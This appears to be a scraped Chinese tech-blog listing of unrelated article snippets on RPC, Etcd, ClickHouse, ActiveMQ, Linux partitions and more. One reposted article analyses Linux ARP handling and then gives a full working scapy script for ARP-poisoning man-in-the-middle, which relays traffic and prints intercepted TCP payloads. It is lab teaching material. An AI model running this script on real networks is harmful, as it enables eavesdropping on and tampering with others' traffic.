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Scala
...于企业级应用和Web服务同样构成威胁。例如,某知名社交媒体平台曾报告过一起利用Unicode同形异义字符进行的攻击事件,导致部分用户账户信息泄露。这起事件引发了业界对URL安全性的广泛关注,各大科技公司纷纷加强了对输入验证和异常处理机制的审查,以防止类似事件再次发生。 此外,随着区块链技术和加密货币的普及,与之相关的URL安全问题也日益凸显。黑客常常利用复杂的URL构造,诱导用户访问恶意网站,盗取加密货币钱包的私钥。为此,许多加密货币钱包服务商开始引入更高级别的身份验证机制,并加强对URL的过滤和监控,以保护用户的资产安全。 在防范这类新型攻击方面,除了依赖技术手段外,用户自身的安全意识同样重要。专家建议,用户在点击任何链接前,应仔细检查URL的拼写和格式,尽量避免访问来源不明的网站。同时,定期更新操作系统和浏览器,安装最新的安全补丁,也是抵御此类攻击的有效措施之一。对于开发者而言,不仅要关注基础的URL格式校验,还需加强对异常字符和恶意链接的检测能力,确保应用程序在面对复杂攻击时依然能够保持稳定和安全。
2024-12-19 15:45:26
23
素颜如水
HessianRPC
...构建高性能、高扩展性服务的关键一环。HessianRPC,这可真是个轻巧灵活的RPC框架小能手。它巧妙地借助了Hessian协议的大招,玩转序列化和反序列化的游戏,让Java和其他各种编程语言能够无缝对接、高效沟通,就像一个随叫随到、传递消息的小信使一样。然而,在实际操作时,我们可能时不时会遇到个头疼的问题——“HessianURLException:在捣鼓或者构建URL时出了岔子。”嘿,老铁们,这次咱要聊的这个主题可有点意思了。这篇东西呢,就是专门针对这种“诡异现象”,打算手把手地带大家伙儿通过一些实实在在的代码实例,抽丝剥茧地探寻这异常背后的秘密原因,并且一起琢磨琢磨怎么才能把它给妥妥地解决掉。 2. HessianRPC基础与工作原理 HessianRPC的核心在于对HTTP协议的运用以及Hessian二进制序列化机制。开发者只需要这么干,先定义一个接口,然后在这接口上,客户端和服务端两边各自整上实现,这样一来,远程方法调用就轻松搞定了。就像是你在家画好一张购物清单,然后分别让家人和超市那边按照清单准备东西,最后就能完成“远程”的物资调配啦。例如: java // 定义服务接口 public interface HelloService { String sayHello(String name); } // 服务端实现 @Service("helloService") public class HelloServiceImpl implements HelloService { @Override public String sayHello(String name) { return "Hello, " + name; } } // 客户端调用示例 HessianProxyFactory factory = new HessianProxyFactory(); HelloService service = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); String greeting = service.sayHello("World"); 3. HessianURLException详解 当我们在使用HessianRPC进行远程调用时,如果出现"HessianURLException: 创建或处理URL时发生错误。"异常,这通常意味着在创建或解析目标服务的URL地址时出现了问题。比如URL格式不正确、网络不可达或者其他相关的I/O异常。 java try { // 错误的URL格式导致HessianURLException HelloService wrongService = (HelloService) factory.create(HelloService.class, "localhost:8080/hello"); } catch (MalformedURLException e) { System.out.println("HessianURLException: 创建或处理URL时发生错误。"); // 抛出异常 } 在这个例子中,由于我们没有提供完整的URL(缺少协议部分"http://"),所以HessianRPC无法正确解析并创建到服务端的连接,从而抛出了HessianURLException。 4. 解决方案与预防措施 面对HessianURLException,我们需要从以下几个方面着手解决问题: 4.1 检查URL格式 确保提供的URL是完整且有效的,包括协议(如"http://"或"https://")、主机名、端口号及资源路径等必要组成部分。 java // 正确的URL格式 HelloService correctService = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); 4.2 确保网络可达性 检查客户端和服务端之间的网络连接是否畅通无阻。如果服务端未启动或者防火墙阻止了连接请求,也可能引发此异常。 4.3 异常捕获与处理 在代码中合理地处理此类异常,给用户提供明确的错误信息提示。 java try { HelloService service = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); } catch (HessianConnectionException | MalformedURLException e) { System.err.println("无法连接到远程服务,请检查URL和网络状况:" + e.getMessage()); } 5. 总结 在我们的编程旅程中,理解并妥善处理像"HessianURLException: 创建或处理URL时发生错误"这样的异常,有助于提升系统的稳定性和健壮性。对于HessianRPC来说,每一个细节都可能影响到远程调用的成功与否。所以呢,真要解决这类问题,归根结底就俩大法宝:一个是牢牢掌握的基础知识,那叫一个扎实;另一个就是严谨到家的编码习惯了,这两样可真是缺一不可的关键所在啊!伙计们,让我们一起瞪大眼睛,鼓起勇气,把HessianRPC变成我们手里的神兵利器,让它在开发分布式应用时,帮我们飞速提升效率,让开发过程更轻松、更给力!
2023-10-16 10:44:02
531
柳暗花明又一村
Etcd
Etcd与服务治理的实践 一、初识Etcd 从概念到应用 在深入讨论Etcd如何助力服务治理之前,我们先聊聊什么是Etcd。Etcd是一款高可用的分布式键值存储系统,常用于配置共享和服务发现。这家伙不仅能搞定可靠的分布式锁和Leader选举这些活儿,还在Kubernetes里大展身手,成了管理集群状态的得力干将。想象一下,有这么一群人站在一个大屋子里,每个人都想找个好位置站,又怕挤到别人,所以大家都小心翼翼地挪动着,想找一个既舒服又不太挤的地方。这时候就得有个东西来协调大家的位置了,Etcd就像个指挥家,用简单的指令(键值对)告诉大家该往哪儿挪动。 二、服务注册与发现 Etcd的初次登场 在服务治理领域,服务注册与发现是至关重要的环节。简单来说,就是让服务知道其他服务的存在。以Etcd为例,我们可以通过它来实现服务的动态注册和发现。例如,假设我们有一个微服务架构的应用,其中包含多个微服务。我们可以利用Etcd来注册这些服务实例,并允许其他服务通过查询Etcd来发现它们。 代码示例1:使用Python客户端操作Etcd进行服务注册。 python from etcd3 import Client 创建Etcd客户端 etcd = Client(host='127.0.0.1', port=2379) 定义服务名称和地址 service_name = "example_service" service_address = "192.168.1.100:8080" 注册服务到Etcd def register_service(): key = f'/services/{service_name}' value = service_address.encode('utf-8') 设置键值对,代表服务注册 etcd.put(key, value) print(f"服务已注册:{key} -> {value.decode()}") register_service() 三、动态配置管理 灵活性的提升 服务治理不仅限于静态的服务发现,还包括动态配置管理。通过Etcd,我们可以轻松地管理和更新应用程序的配置信息,而无需重启服务。这种方式极大地提高了系统的灵活性和响应速度。 代码示例2:动态读取配置并根据配置调整服务行为。 python import json 获取服务配置 def get_config(service_name): key = f'/config/{service_name}' result = etcd.get(key) if result: return json.loads(result[0].decode()) return {} 根据配置调整服务行为 def adjust_behavior(config): if config.get("debug_mode", False): print("当前处于调试模式") else: print("正常运行模式") 示例调用 config = get_config(service_name) adjust_behavior(config) 四、服务健康检查与负载均衡 保证服务稳定性的关键 为了确保服务的稳定性和高效运行,我们还需要实施健康检查和负载均衡策略。通过Etcd,我们可以定期检查服务节点的状态,并将流量分配给健康的节点,从而提高系统的整体性能和稳定性。 代码示例3:模拟健康检查流程。 python import time 健康检查函数 def health_check(service_name): 模拟检查逻辑,实际场景可能涉及更复杂的网络请求等 print(f"正在进行服务 {service_name} 的健康检查...") time.sleep(2) 模拟耗时 return True 返回服务是否健康 负载均衡策略 def load_balance(service_list): for service in service_list: if health_check(service): return service return None 示例调用 healthy_service = load_balance([f'{service_name}-1', f'{service_name}-2']) print(f"选择的服务为:{healthy_service}") 结语:探索与创新的旅程 通过上述几个方面,我们看到了Etcd在服务治理中的重要作用。从最基本的服务注册和发现,到动态配置管理以及复杂的服务健康检查和负载均衡策略,Etcd简直就是个全能的小帮手,功能强大又灵活多变。当然啦,在实际应用里头,我们还会碰到不少难题,比如说怎么保障安全啊,怎么提升性能啊之类的。但是嘛,只要咱们保持好奇心,敢去探险,肯定能在这个满是奇遇的技术世界里找到自己的路。希望这篇文章能激发你的灵感,让我们一起在服务治理的道路上不断前行吧!
2024-11-27 16:15:08
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心灵驿站
Saiku
...数据分析平台正向自助服务模式转型,使得业务用户能够更加独立地进行深度数据探索,而Saiku恰好顺应了这一潮流。 此外,开源社区对于Saiku的支持也在不断加强,开发者们正在积极贡献代码,以优化性能、扩展功能并集成更多数据源支持。最近一次版本更新中,Saiku增强了对云原生环境的支持,简化了部署流程,并提升了处理大规模数据集时的响应速度,这无疑为大数据时代下的企业级应用提供了更有力的支撑。 综上所述,在数字化转型浪潮下,掌握像Saiku这样的现代化数据分析工具,不仅有助于企业提升决策效率,更能帮助企业从海量数据中提炼出具有战略价值的信息,从而实现业务增长和竞争力提升。因此,深入研究和熟练运用Saiku,已成为广大数据从业者提升自身核心竞争力的关键技能之一。
2023-10-04 11:41:45
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初心未变
Mongo
...oDB Stitch服务(现已整合进Atlas Serverless)为解决这一问题提供了新的思路。通过集成流式传输框架如Change Streams,开发人员可以构建实时响应的数据处理系统,并保持高可用性和扩展性。 同时,随着云原生架构的普及,MongoDB Atlas作为全球分布式的托管型数据库服务,以其内置的自动分片、备份恢复、监控告警等功能,助力企业无缝迁移至云端,实现弹性伸缩与按需付费,进一步优化资源利用率和降低成本。 综上所述,持续跟踪MongoDB的最新动态和技术演进,结合具体业务场景合理运用其异步特性,有助于提升应用程序性能,应对日益增长的数据处理需求。推荐读者关注MongoDB官方博客、文档更新及行业技术论坛,深入探讨更多关于数据库异步操作的实战经验和最佳实践案例。
2024-03-10 10:44:19
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林中小径_
ClickHouse
...ClickHouse服务账户没有足够的权限访问该文件。 sql CREATE TABLE external_table (event Date, id Int64) ENGINE = File(Parquet, '/path/to/your/file.parquet'); SELECT FROM external_table; -- Access to file denied 3.2 解决方案 首先,我们需要确认ClickHouse服务运行账户对目标文件或目录拥有读取权限。可以通过更改文件或目录的所有权或修改访问权限来实现: bash sudo chown -R clickhouse:clickhouse /path/to/your/file.parquet sudo chmod -R 750 /path/to/your/file.parquet 这里,“clickhouse”是ClickHouse服务默认使用的系统账户名,您需要将其替换为您的实际环境下的账户名。对了,你知道吗?这个“750”啊,就像是个门锁密码一样,代表着一种常见的权限分配方式。具体来说呢,就是文件的所有者,相当于家的主人,拥有全部权限——想读就读,想写就写,还能执行操作;同组的其他用户呢,就好比是家人或者室友,他们能读取文件内容,也能执行相关的操作,但就不能随意修改了;而那些不属于这个组的其他用户呢,就像是门外的访客,对于这个文件来说,那可是一点权限都没有,完全进不去。 4. 文件不存在的问题及其解决策略 4.1 问题描述 当我们在创建外部表时指定的文件路径无效或者文件已被删除时,尝试从该表查询数据会返回“File not found”的错误。 sql CREATE TABLE missing_file_table (data String) ENGINE = File(TSV, '/nonexistent/path/file.tsv'); SELECT FROM missing_file_table; -- File not found 4.2 解决方案 针对此类问题,我们的首要任务是确保指定的文件路径是存在的并且文件内容有效。若文件确实已被移除,那么重新生成或恢复文件是最直接的解决办法。另外,你还可以琢磨一下在ClickHouse的配置里头开启自动监控和重试功能,这样一来,万一碰到文件临时抽风、没法用的情况,它就能自己动手解决问题了。 另外,对于周期性更新的外部数据源,推荐结合ALTER TABLE ... UPDATE语句或MaterializeMySQL等引擎动态更新外部表的数据源路径。 sql -- 假设新文件已经生成,只需更新表结构即可 ALTER TABLE missing_file_table MODIFY SETTING path = '/new/existing/path/file.tsv'; 5. 结论与思考 在使用ClickHouse外部表的过程中,理解并妥善处理文件系统权限和文件状态问题是至关重要的。只有当数据能够被安全、稳定地访问,才能充分发挥ClickHouse在大数据分析领域的强大效能。这也正好敲响我们的小闹钟,在我们捣鼓数据架构和运维流程的设计时,千万不能忘了把权限控制和数据完整性这两块大骨头放进思考篮子里。这样一来,咱们才能稳稳当当地保障整个数据链路健健康康地运转起来。
2023-09-29 09:56:06
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落叶归根
PostgreSQL
...业务中断问题,确保了服务的连续性和稳定性。
2023-06-04 17:45:07
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桃李春风一杯酒_
DorisDB
...的是,技术永远是为人服务的。不管多牛的技术,归根结底都是为了让我们生活得更爽,更方便,过得更滋润。让我们一起努力,探索更多可能性吧!
2025-02-28 15:48:51
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素颜如水
ActiveMQ
...待时间过长,甚至出现服务不可用的情况。因此,了解并掌握如何监控这些性能指标是非常必要的。 2. 消息堆积与延迟 它们是什么? 首先,让我们来了解一下消息堆积和延迟这两个概念。 - 消息堆积:指的是消息从生产者发送到消费者接收之间的时间差变大,导致队列中的消息数量不断增加。这种情况通常发生在消费者的处理能力不足以应对生产者的发送速率时。 - 延迟:是指消息从生产者发送到消费者接收到这条消息之间的总时间。延迟包括了网络传输时间、处理时间和队列等待时间等。 想象一下,如果你正在等公交车,而公交车却迟迟不来(消息堆积),或者虽然来了但你需要等很长时间才能上车(延迟),这肯定会让你感到沮丧。这就跟分布式系统里的事儿一样,要是消费者手慢点,消息堆积起来,整个系统就得遭殃,性能直线下降。 3. 如何监控消费者性能? 现在我们知道了消息堆积和延迟的重要性,那么接下来的问题就是:如何有效地监控它们呢? 3.1 使用JMX监控 ActiveMQ提供了Java Management Extensions (JMX) 接口,允许我们通过编程方式访问和管理其内部状态。这里有一个简单的例子,展示如何使用JMX来获取当前队列中的消息堆积情况: java import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; public class ActiveMQMonitor { public static void main(String[] args) throws Exception { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("org.apache.activemq:type=Broker,brokerName=localhost"); // 获取队列名称 String queueName = "YourQueueName"; ObjectName queueNameObj = new ObjectName("org.apache.activemq:type=Queue,destinationName=" + queueName); // 获取消息堆积数 Integer messageCount = (Integer) mbs.getAttribute(queueNameObj, "EnqueueCount"); System.out.println("Current Enqueue Count for Queue: " + queueName + " is " + messageCount); } } 3.2 日志分析 除了直接通过API访问数据外,我们还可以通过分析ActiveMQ的日志文件来间接监控消费者性能。比如说,我们可以通过翻看日志里的那些报错和警告信息,揪出隐藏的问题,然后赶紧采取行动来优化一下。 4. 优化策略 既然我们已经掌握了如何监控消费者性能,那么接下来就需要考虑如何优化它了。下面是一些常见的优化策略: - 增加消费者数量:当发现消息堆积时,可以考虑增加更多的消费者来分担工作量。 - 优化消费者逻辑:检查消费者处理消息的逻辑,确保没有不必要的计算或等待,尽可能提高处理效率。 - 调整消息持久化策略:根据业务需求选择合适的消息持久化级别,既保证数据安全又不过度消耗资源。 5. 结语 持续改进 监控消费者性能是一个持续的过程。随着系统的不断演进,新的挑战也会随之而来。因此,我们需要保持灵活性,随时准备调整我们的监控策略和技术手段。希望这篇文章能给你带来一些启示,让你在面对类似问题时更加从容不迫! --- 好了,以上就是我对于“监控消费者性能:消息堆积与延迟分析”的全部分享。希望能给你一些启发,让你的项目变得更高效、更稳当!要是你有任何问题或者想深入了解啥的,尽管留言,咱们一起聊一聊。
2024-10-30 15:36:10
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山涧溪流
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Groovy
...年来,随着云计算和微服务架构的普及,Groovy因其简洁的语法和强大的生态系统,在企业级开发领域重新获得了关注。特别是在DevOps文化盛行的背景下,Groovy作为一种既能快速开发又能与现有Java生态无缝集成的语言,成为许多团队构建CI/CD流水线和自动化工具的首选。例如,Jenkins这一广受欢迎的持续集成平台,其核心脚本语言就是Groovy。最近,Jenkins社区发布了2.361版本,其中引入了新的DSL(领域特定语言)特性,进一步增强了Groovy在构建复杂工作流中的能力。 与此同时,Groovy在数据科学领域的应用也引起了广泛关注。Apache Groovy提供了丰富的库支持,如Grape(依赖管理器)和Spock框架,使得数据科学家能够以更少的代码完成复杂的分析任务。近期,有研究表明,结合Groovy与Kotlin进行混合编程,可以显著提高大数据处理效率。这种跨语言协作模式正在成为现代软件开发的新趋势。 此外,Groovy的动态特性使其非常适合用于快速原型设计。近期,一家知名金融科技公司利用Groovy开发了一款面向中小企业的贷款评估系统,仅用两周时间就完成了从需求分析到上线部署的全过程。该项目的成功不仅展示了Groovy在敏捷开发中的潜力,也为其他类似场景提供了宝贵经验。 值得注意的是,尽管Groovy拥有诸多优势,但它并非没有挑战。随着GraalVM等新技术的发展,传统脚本语言面临新的竞争压力。如何保持自身竞争力并吸引更多年轻开发者,将是未来几年Groovy社区需要重点思考的问题。
2025-03-15 15:57:01
101
林中小径
Hive
...哒!到时候,用咱们的服务就跟喝着冰镇可乐一样爽,那叫一个舒坦啊!哎呀,你知道不?就像咱们平时用的工具箱里又添了把更厉害的瑞士军刀,那就是Apache Drill这样的新技术。这玩意儿一出现,Hive这个大数据分析的家伙就更牛了,能干的事情更多,效率也更高,就像开挂了一样。它现在不仅能快如闪电地处理数据,还能像变魔术一样,根据我们的需求变出各种各样的分析结果。这下子,咱们做数据分析的时候,可就轻松多了! --- 本文旨在探讨Hive如何通过并行计算能力提升数据处理效率,通过具体实例展示了如何优化Hive查询性能,并分享了实践经验。希望这些内容能对您在大数据分析领域的工作提供一定的启发和帮助。
2024-09-13 15:49:02
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秋水共长天一色
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-19 10:42:16
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HBase
...出实时决策或提供实时服务。文中提及HBase支持快速的数据插入和查询操作,这使得其非常适合应用于实时数据分析任务。 流式处理应用 , 流式处理是一种处理持续不断生成的数据流的计算范式,它允许数据在产生时立即进行处理,而非等待所有数据都收集完毕后一次性处理。文中指出,由于HBase能快速处理数据,因此对于需要对实时数据流进行连续分析和处理的应用场景非常适用。
2023-01-31 08:42:41
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青春印记-t
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 对hda1的解释: hd:IDE硬盘。如果是SCSI硬盘,则为sd,这个只能记住,没有更好的办法。 a:: 第一块硬盘。如果是第二块硬盘,则为b,依此类推c,d…… 1: 主分区。其中1,2,3,4都是主分区,从第5开始为逻辑分区,最大到16 磁盘容量与主分区、扩展分区、逻辑分区的关系: 硬盘的容量 = 主分区的容量 + 扩展分区的容量 扩展分区的容量 = 各个逻辑分区的容量之和 -------------------------------------- cd /mnt mkdir winc mkdir wind mkdir wine mount /dev/hda1 /mnt/winc mount /dev/hda5 /mnt/wind mount /dev/hda6 /mnt/wine 最多有4个主分区,所以逻辑分区从5开始 ---------------------------------------- 在linux的分区表示中,硬盘为hd,第一块硬盘为hda,第二块为hdb.一块硬盘最多可以分成四个主分区,dos主分区,dos扩展分区,linux根分区和linux交换分区都属于主分区,4个主分区分别用数字表示,如果是第一块硬盘,就 hda1,hda2,hda3和hda4. 在扩展分区上还可以分逻辑分区,标号从5往后依次排列.在windows中c盘为dos主分区,是hda1, d盘一般是dos扩展分区上的第一个逻辑分区, 是hda5, e为hda6, f为hda7等等. 在linux下可以通过mount命令挂栽windows分区到一个文件夹(这个文件夹称作挂载点),然后你可以通过这个文件夹访问windows分区. mount -t vfat /dev/hda1 /mnt/winc -o codepage=936 iocharset=936 顺便说一下挂载光盘和iso镜像和挂载U盘挂载U盘的命令: 挂载光盘和iso镜像 mount -t iso 9660 -o loop 名称.iso 挂载点 挂载U盘 mount -t vfat /dev/sda1 /mnt/usb 在網上碰到一耳光相關的問題,睇下啦: 在Linux中,分区为主分区、扩展分区和逻辑分区,使用fdisk –l命令获得分区信息如下所示: Disk /dev/hda:240 heads, 63 sectors, 140 cylinders Units=cylinders of 15120 512 bites Device Boot Start End Blocks Id System /dev/hda 1 286 2162128+ c Win95 FAT32(LBA) /dev/hda2 288 1960 12496680 5 Extended /dev/hda8 984 1816 6297448+ 83 Linux /dev/hda9 1817 1940 937408+ 83 Linux 其中,属于扩展分区的是 (5) 。 使用df -T命令获得信息部分如下所示: Filesystem Type 1k Blocks Used Avallable Use% Mounted on /dev/hda6 relserfs 4195632 2015020 2180612 49% / /dev/hda1 vfat 2159992 1854192 305800 86% /windows/c 其中,不属于Linux系统分区的是 (6) 。 答案: (5)/dev/hda2,(6)/dev/hda1 在Linux中对硬盘也有两种表示方法: 第一种方法:IDE接口中的整块硬盘在Linux系统中表示为/dev/hd[a-z],比如/dev/hda,/dev/hdb ... ... 以此类推,有时/dev/hdc可能表示的是CDROM 。这种方法实际表示了硬盘的物理位置,只要硬盘的连接位置不变,标号也不会发生变化。 对于/dev/hda 类似的表示方法,也并不陌生吧;我们在Linux通过fdisk -l 就可以查到硬盘是/dev/hda还是/dev/hdb。 另一种表示方法是:hd[0-n] ,其中n是一个正整数,比如hd0,hd1,hd2 ... ... hdn ;数字从0开始,按照BIOS中发现硬盘的顺序排列,如果机器中只有一块硬盘,无论我们通过fdisk -l 列出的是/dev/hda 还是/dev/hdb ,都是hd0;如果机器中存在两个或两个以上的硬盘,第一个硬盘/dev/hda 另一种方法表示为hd0,第二个硬盘/dev/hdb,另一种表法是hd1 。 现在新的机器,在BIOS 中,在启动盘设置那块,硬盘是有hd0,hd1之类的,这就是硬盘表示方法的一种。 在Linux中,对SATA和SCSI接口的硬盘的表示方法和IDE接口的硬盘相同,只是把hd换成sd;如您的机器中比如有一个硬盘是/dev/hda ,也有一个硬盘是/dev/sda ,那/dev/sda的硬盘应该是sd0; 具体每个分区用(sd[0-n],y)的表示方法和IDE接口中的算法相同,比如/dev/sda1 就是(sd0,0)。 >>>以下来自百度百科 磁盘及分区 设备管理 在 Linux 